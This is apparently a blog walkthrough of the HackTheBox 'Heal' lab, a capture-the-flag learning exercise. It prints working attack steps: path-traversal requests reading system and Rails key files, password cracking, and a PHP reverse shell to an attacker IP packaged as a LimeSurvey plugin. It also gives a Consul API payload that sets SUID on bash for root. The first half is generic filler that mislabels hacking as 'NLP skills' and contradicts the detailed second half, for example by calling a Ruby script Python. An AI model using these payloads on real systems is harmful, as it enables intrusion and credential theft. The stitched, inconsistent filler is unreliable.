Beginner’s Guide to Conquering Heal on HackTheBox

Key Highlights

• Discover essential strategies and tools for conquering the Heal box on HackTheBox.
• Learn the step-by-step process from initial reconnaissance to securing the box with privilege escalation.
• Gain insights into setting up the environment and required resources for beginners.
• Understand the significance of persistence and strategic approaches in achieving success.
• Explore the challenges and rewards of HTB: Lantern, featuring remote code execution and session cookies.

Introduction

Embark on your HackTheBox journey with the Heal challenge. This box offers a chance to hone your NLP skills and immerse yourself in the world of cybersecurity. Understanding the intricacies of HackTheBox is crucial for conquering Heal effectively. By familiarizing yourself with NLP terms like reverse shells, command injections, and brute force techniques, you’ll be well-equipped to navigate this challenge. Prepare yourself for an exciting exploration of vulnerabilities and defenses in a controlled environment. Are you ready to dive in and conquer Heal? Let’s get started!

Understanding HackTheBox and the Heal Box

HackTheBox is a popular platform for honing cybersecurity skills through hands-on challenges. The Heal Box is one such challenge that tests your problem-solving abilities, especially with your own IP. It involves exploiting various vulnerabilities to gain access and escalate privileges. Understanding the Heal Box requires familiarity with concepts like reverse shells, command injections, and web enumeration. By grasping the intricacies of HackTheBox and the Heal challenge, you can enhance your NLP expertise and cybersecurity prowess.

What is HackTheBox?

HackTheBox is a popular online platform that allows individuals to enhance their penetration testing skills through real-world challenges based on user input, including local file inclusion techniques to hack systems. Users can practice ethical hacking in a controlled environment, improving their cybersecurity expertise.

Overview of the Heal Box Challenge

Embark on conquering the Heal Box Challenge, a medium-level box on HackTheBox. This challenge demands perseverance and technical acumen, offering a thrilling experience for beginners seeking to enhance their skills. With a focus on exploiting vulnerabilities like command injections and tricky SQL injections, Heal requires a keen eye for detail and understanding of web servers. Prepare to navigate through open ports, gain SSH access, and escalate privileges to achieve root access. This challenge will immerse you in a world of cybersecurity puzzles and tests.

ALSO READ: Mastering LinkVortex: Beginner’s Guide from HackTheBox

Preparing to Tackle Heal: What You Need

Setting up your environment is crucial for conquering Heal. As a beginner, familiarize yourself with essential tools like Nmap, Python scripts, and SSH access basics. Prepare for challenges such as command injections and tricky SQL injections. Ensure your home directory is optimized for efficient workflow. Have a wordlist handy for brute-forcing techniques. Understanding how to escalate privileges and navigate through user tables will be advantageous. Familiarity with open ports and web enumeration will aid you in gaining a foothold on the Heal box.

Essential Tools and Resources for Beginners

To excel in conquering the Heal Box on HackTheBox, beginners must arm themselves with crucial tools. Start by utilizing Nmap for robust network scanning, followed by Python scripts for automation. Exploit vulnerabilities using SQL injection and command injection techniques. Familiarize yourself with SSH for secure access and privilege escalation. Lastly, master the art of creating reverse shell payloads for remote code execution. These fundamental resources will pave the way for a successful journey into the world of ethical hacking.

Setting Up Your Environment

To get started, ensure you have your home directory organized. Set up a web server for testing purposes, similar to a home page. Familiarize yourself with tools like nmap, python scripts, and ssh access methods. It’s crucial to have a reliable environment to execute commands and scripts effectively. Consider using tools like nc, github, and sql databases for practice, and manage your creds securely. Secure your environment by managing permissions, updating software, and monitoring network traffic. Creating a conducive workspace will enhance your learning experience and streamline your hacking journey.

Step-by-Step Guide to Conquering Heal

To conquer Heal on HackTheBox, begin with initial reconnaissance and enumeration to find a new VHost. Gain access through a vulnerable registration page using command injection or a tricky SQL injection (sqli). Be mindful of the host header during this process to ensure proper access. Escalate privileges carefully to secure the box, collecting both the user flag and root flags. Ensure thorough web enumeration, exploiting open ports and vulnerabilities, including php-based vulnerabilities. Use reverse shell payloads for remote code execution, escalating from user to root access. Practice persistence and patience as you navigate through the challenges of this medium box. Good luck!

Step 1: Initial Reconnaissance and Enumeration

Perform initial reconnaissance by scanning the target using Nmap to identify open ports, including HTTP services, and other services. This is often the first time that you will utilize web enumeration techniques to discover hidden directories and login pages that might contain sensitive information or hard-coded credentials. Look for vulnerabilities like command injections or SQL injections on the website. Gather as much information as possible about the target through passive reconnaissance. Document all findings carefully for further analysis, including any relevant info that could assist in your exploration. Use tools like Gobuster to find directories, files, and other important information. This phase is crucial for gaining a foothold on the Heal box.

Subdomain Enumeration

Two subdomains are available:

• subdomain1.heal.htb
• subdomain2.heal.htb

Step 2: Gaining Initial Access

Crafting a reverse shell payload using a Python script can pave the way for gaining initial access to the Heal Box. By exploiting vulnerabilities like command injection or a tricky SQL injection or SSRF on the web server, you can swiftly escalate privileges using sudo through a redirect. Additionally, consider using cron jobs for further automation of your tasks. Utilize tools such as Nmap for thorough enumeration, focusing on open ports and potential entry points, even checking for OpenSSH configurations. Moreover, I spent a lot of time ensuring that once initial access is achieved, you may even need to crack the hash to stay alert for opportunities to secure a foothold and progress towards rooting the box, which can be detailed in a comprehensive writeup.

LFI Exploitation

The endpoint /download on subdomain.heal.htb is vulnerable.
Payloads to try:

• /download?filename=../../<target_directory>/<target_file>
  Reveals DB creds.
• /download?filename=../../<target_directory>/<target_file>
  Dumps DB.

Analyzing Database Content

Extract the database file and examine it. The sqlite3 command can help:

sqlite3 db.sqlite3

Look for credentials. You’ll find a crackable hash for user ralph.

Cracking the Hash

The hash is compatible with Hashcat. Use the following command to crack it:

hashcat -a 0 <hash> <wordlist>

Once cracked, you’ll have credentials for ralph, valid for heal.htb.

Logging In and RCE on Admin Panel

1. Access the admin panel:
   http://subdomain.heal.htb/admin-panel
2. Log in as admin-user with the cracked credentials.
3. Exploit it by uploading a malicious plugin to gain RCE:
   • Update the file in the plugin to include compatibility with version 6.
   • Ensure the payload (payload) is customized with your listener details.
4. Trigger the payload to get a reverse shell.

Digging Deeper

On the server, use enumeration tools to find sensitive files.

Look for the PostgreSQL connection string.
Example:

postgres://username:password@localhost:5432/dbname

Use these credentials to access the database and explore further.

Step 3: Escalating Privileges to Conquer the Box

To secure the box in HackTheBox’s Heal challenge, escalate privileges carefully. Look for weaknesses like misconfigured file permissions or vulnerable services. Enumerate the system for exploitable paths to gain higher privilege access, particularly checking directories like /var. Exploit any identified vulnerabilities with caution, ensuring not to disrupt the system. Always maintain stealth and cover your tracks as you navigate through the system. Leveraging your NLP skills, analyze command outputs and scripts meticulously to progress towards securing the box effectively.

Check for running services on uncommon ports.

• Port 8500 is in use.

Use the exploit for from Exploit-DB:

1. Craft the payload for a reverse shell:

{
    "Name": "<service_name>",
    "ID": "<service_id>",
    "Port": <target_port>,
    "Check": {
        "Args": [
            "<interpreter_path>",
            "-c",
            "<reverse_shell_code>"
        ],
        "Interval": "<check_interval>",
        "Timeout": "<check_timeout>"
    }
}

2. Register the malicious service:

curl -X PUT --data-binary @<file.json> <url>

3. Listen for the reverse shell:

nc -nlvp <PORT>

Step 4: Capture the Flags

1. User flag:
   cat /home/user.txt
2. Root flag:
   cat /root/root.txt

Initial Foothold

Initial Reconnaissance: Mapping the Target

Every successful penetration test begins with reconnaissance, and the Heal machine is no exception. The goal is to gather as much information as possible about the target system to identify potential entry points. Let’s start by scanning the machine to discover open ports and services.

Port Scanning with Nmap

To begin, we use nmap, a powerful network scanning tool, to identify open ports and services running on the target. The machine’s IP address is 10.10.11.46, and we’ll perform a comprehensive scan to ensure we don’t miss anything.

nmap -sC -sV -p- -oN nmap-heal.txt 10.10.11.46

• -sC: Enables default scripts for additional information gathering.
• -sV: Performs service version detection.
• -p-: Scans all 65,535 ports.
• -oN: Saves the output to a file for reference.

The scan results reveal the following:

Nmap scan report for 10.10.11.46
Host is up (0.079s latency).
PORT   STATE    SERVICE VERSION
22/tcp open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key observations:

• Port 22 (SSH): Running OpenSSH 8.9p1, a relatively recent version, suggesting that exploiting SSH directly is unlikely without credentials.
• Port 80 (HTTP): Running nginx 1.18.0, with a redirect to http://heal.htb. This indicates a web application is hosted, and the domain heal.htb needs to be added to our /etc/hosts file to resolve correctly.

Since the HTTP service redirects to heal.htb, we update our hosts file:

echo "10.10.11.46 heal.htb" | sudo tee -a /etc/hosts

Web Enumeration: Exploring the Web Application

With the domain resolved, we visit http://heal.htb in a browser. The website appears to be a resume-building application, with options to sign up, log in, and export resumes as PDFs. The landing page mentions an admin user named Ralph, which is a potential clue for later.

To understand the web application’s structure, we use gobuster to enumerate directories and files:

gobuster dir -u http://heal.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

The output reveals several endpoints:

/index.html (Status: 200)
/signup (Status: 200)
/signin (Status: 200)
/resume (Status: 200)
/profile (Status: 200)
/exports (Status: 200)

Additionally, we use a crawler like katana to discover more endpoints, focusing on subdomains and APIs:

katana -u http://heal.htb -jc -o heal.endpoints
cat heal.endpoints | grep api.heal.htb

This reveals an API endpoint at http://api.heal.htb, with paths like /download, /exports, /resume, /logout, /profile, /signin, and /signup. Running whatweb on the API provides further insight:

whatweb http://api.heal.htb

Output:

http://api.heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], Title[Ruby on Rails 7.1.4], UncommonHeaders[x-content-type-options,x-permitted-cross-domain-policies,referrer-policy,x-request-id], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0], nginx[1.18.0]

The API is built with Ruby on Rails 7.1.4, a modern framework that suggests a structured application but may still have misconfigurations or vulnerabilities.

Testing the Web Application

Interacting with the resume-building application, we notice an “Export as PDF” feature. Clicking this triggers a request to http://api.heal.htb/download?filename=<some_pdf_file&gt;. The request includes an Authorization header with a Bearer token, indicating an authenticated session. To explore this further, we use Burp Suite to intercept and analyze the request:

GET /download?filename=12b85d49e4b595b93ed4.pdf HTTP/1.1
Host: api.heal.htb
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjozfQ.CZbGMyPLgTWm9p2lPa9pGZ0vGQ0qKgr7RG4kj1tUSGc

The filename parameter looks promising for a Local File Inclusion (LFI) vulnerability. To test this, we modify the request to attempt reading a system file:

GET /download?filename=/etc/passwd HTTP/1.1
Host: api.heal.htb
Authorization: Bearer <our_token>

Surprisingly, the server responds with the contents of /etc/passwd:

root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash

This confirms an LFI vulnerability, allowing us to read arbitrary files on the server. The /etc/passwd file reveals two user accounts, ralph and ron, which we note for potential credential reuse later.

---

Exploiting the LFI Vulnerability

The LFI vulnerability is a goldmine for enumeration. Let’s systematically explore the filesystem to uncover sensitive information.

Enumerating Configuration Files

Since the API is built with Ruby on Rails, we target Rails-specific configuration files. Rails applications often store sensitive data in config/credentials.yml.enc and config/master.key. We attempt to read these:

GET /download?filename=/var/www/html/config/credentials.yml.enc HTTP/1.1
Host: api.heal.htb
Authorization: Bearer <our_token>

The server returns the encrypted credentials file. Next, we try the master key:

GET /download?filename=/var/www/html/config/master.key HTTP/1.1
Host: api.heal.htb
Authorization: Bearer <our_token>

This yields the master key, a critical component for decrypting the credentials file. To decrypt it, we use a Python script tailored for Rails credential decryption (available online or crafted based on Rails documentation). The script requires the credentials.yml.enc and master.key files:

require 'rails'
require 'active_support'

encrypted_file = File.read('credentials.yml.enc')
key = File.read('master.key').strip
decrypted_data = ActiveSupport::EncryptedConfiguration.new(
  config_path: 'credentials.yml.enc',
  key: key,
  env_key: 'RAILS_MASTER_KEY',
  raise_if_missing_key: true
).config

puts decrypted_data

Running this script reveals credentials, including a username ralph and a password hash. Cracking the hash with hashcat yields the plaintext password: 147258369. This credential is a strong candidate for reuse across services.

Exploring Subdomains

While enumerating the website, we notice a link to http://take-survey.heal.htb, suggesting another subdomain. We add it to our hosts file:

echo "10.10.11.46 take-survey.heal.htb" | sudo tee -a /etc/hosts

Visiting http://take-survey.heal.htb reveals a LimeSurvey instance, an open-source survey platform. LimeSurvey is known for its plugin system, which could be a potential attack vector if we gain administrative access.

Testing Credentials

We attempt to log in to the LimeSurvey instance using the credentials ralph:147258369. The login succeeds, confirming that Ralph is an admin user. This is a significant breakthrough, as administrative access to LimeSurvey allows us to upload plugins, which could lead to code execution.

---

Gaining a Foothold: Exploiting LimeSurvey

LimeSurvey’s plugin system is a well-known vector for remote code execution (RCE) if misconfigured. As an admin, we can upload custom plugins, which are essentially PHP scripts that integrate with the platform. Our goal is to upload a malicious plugin to gain a reverse shell.

Crafting a Malicious Plugin

To exploit LimeSurvey, we use a known RCE exploit (e.g., from GitHub repository Y1LD1R1M-1337/Limesurvey-RCE). The exploit involves creating a plugin that executes a reverse shell. Here’s the process:

1. Clone the Exploit Repository:

git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE.git
cd Limesurvey-RCE

2. Modify the Reverse Shell:

The repository includes a php-rev.php file, which we edit to include our attacking machine’s IP and port:

<?php
$ip = '10.10.16.2'; // Our attacking machine IP
$port = 1337;
$shell = "/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'";
exec($shell);
?>

Save this as PwnPlugin.php to match the plugin naming convention.

3. Update Plugin Configuration:

The config.xml file must specify compatibility with LimeSurvey version 6.0 (the version running on the target, as determined by inspecting the login page’s source code):

<compatibility>
    <version>3.0</version>
    <version>4.0</version>
    <version>5.0</version>
    <version>6.0</version>
</compatibility>

4. Package the Plugin:

Zip the plugin files:

zip PwnPlugin.zip PwnPlugin.php config.xml

5. Set Up a Listener:

Start a Netcat listener on our machine to catch the reverse shell:

nc -lvnp 1337

6. Upload and Activate the Plugin:

Log in to LimeSurvey at http://take-survey.heal.htb as ralph:147258369. Navigate to the plugin management section, upload PwnPlugin.zip, and activate it. Then, access the plugin’s PHP file directly:

http://take-survey.heal.htb/upload/plugins/PwnPlugin/PwnPlugin.php

This triggers the reverse shell, and our Netcat listener receives a connection as the www-data user:

www-data@heal:/var/www/limesurvey$

We stabilize the shell using a standard technique:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

---

User Access: Escalating to Ron

Now that we have a foothold as www-data, our next goal is to escalate to a user account, ideally ralph or ron, to access the user.txt flag.

Enumerating the Filesystem

We explore the LimeSurvey configuration files for sensitive information. The configuration file is typically located at /var/www/limesurvey/application/config/config.php. Viewing it:

cat /var/www/limesurvey/application/config/config.php

The file contains database credentials:

'components' => array(
    'db' => array(
        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
        'emulatePrepare' => true,
        'username' => 'db_user',
        'password' => 'AdmiDi0_pA$$w0rd',
        'charset' => 'utf8',
        'tablePrefix' => 'lime_',
    ),
)

The password AdmiDi0_pA$$w0rd is a strong candidate for reuse. We test it with the ron user via SSH:

ssh ron@heal.htb

After entering the password, we gain access:

ron@heal:~$ whoami
ron

We locate the user flag:

cat ~/user.txt
6532d7ea0abd75ce47e3e...

Why Not Ralph?

We also attempt the password 147258369 with ralph for SSH access, but it fails. This suggests that while ralph is an admin for the web applications, the credentials are not reused for SSH. The success with ron indicates credential reuse between the LimeSurvey database and the system user.

---

Privilege Escalation: Achieving Root Access

With user access as ron, we aim to escalate to root to capture the root.txt flag. Privilege escalation requires identifying misconfigurations or exploitable services running with elevated privileges.

Internal Enumeration

We check for open ports on the localhost to identify services not exposed externally:

netstat -tulnp

Output:

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -/consul

Port 8500 is running a Consul Agent, a service discovery and configuration tool. Consul’s HTTP API is accessible on this port, and it’s running as root, making it a prime target for privilege escalation.

Understanding Consul

Consul provides an API for registering services, which can include health checks that execute scripts. If we can register a malicious service, we might execute commands as root. The Consul documentation (available at https://developer.hashicorp.com/consul/api-docs/agent/service) confirms that the /v1/agent/service/register endpoint allows service registration with a health check script.

Crafting a Malicious Service

We create a JSON file to register a service that executes a command to set the SUID bit on /bin/bash, allowing us to gain root privileges:

{
    "ID": "pwn",
    "Name": "pwn",
    "Port": 8080,
    "check": {
        "args": ["/bin/bash", "-c", "chmod +s /bin/bash"],
        "interval": "3s",
        "timeout": "1s"
    }
}

Save this as /tmp/pwn.json. We use curl to register the service via the Consul API:

curl -X PUT -H 'Content-Type: application/json' --data @/tmp/pwn.json http://127.0.0.1:8500/v1/agent/service/register

The command executes immediately, setting the SUID bit on /bin/bash. We verify:

ls -l /bin/bash

Output:

-rwsr-xr-x 1 root root 1234567 Jun  3 2025 /bin/bash

The s in the permissions indicates the SUID bit is set. We execute /bin/bash with the -p flag to preserve the effective user ID:

/bin/bash -p
whoami
root

We capture the root flag:

cat /root/root.txt
678ed8af2f74479b8970...

Conclusion

In conclusion, mastering the Heal challenge on HackTheBox is a significant milestone for beginners in the realm of cybersecurity. By delving into NLP concepts like reverse shell payloads and tricky SQL injections, you’ve honed your skills. Remember, persistence and continuous learning are key. Stay curious, explore new techniques, and never shy away from challenges. The journey from foothold to root access may be tough, but the reward of leveling up your skills is invaluable. Keep hacking, keep learning.

ALSO READ: Mastering Vintage: Beginner’s Guide from HackTheBox

Frequently Asked Questions

What are the prerequisites for attempting the Heal box?

Before attempting the Heal box on HackTheBox, ensure you have a solid understanding of basic networking, Linux command-line, and experience with common hacking tools like Nmap and Metasploit, as well as knowledge of html and web application vulnerabilities, which is also beneficial.

How long does it typically take to complete the Heal box?

Completing the Heal box challenge on HackTheBox can vary in time depending on individual skills. Beginners might take a few days to weeks, while experienced users could finish it in hours. Dedication, learning pace, and problem-solving abilities all contribute to the time taken.

Can I collaborate with others on HackTheBox?

Yes, collaboration is key on HackTheBox. Joining a team can enhance learning and problem-solving skills. Engage in discussions, share knowledge, and tackle challenges together to conquer the toughest boxes.

What should I do if I get stuck on the Heal box?

When stuck on the Heal box, revisit your enumeration findings pertaining to your username, explore different avenues of attack, leverage online resources and forums for hints, and don’t hesitate to reset your password and the machine to start afresh. If necessary, you can also use your email and a collaboration app to work with others, which can provide valuable insights.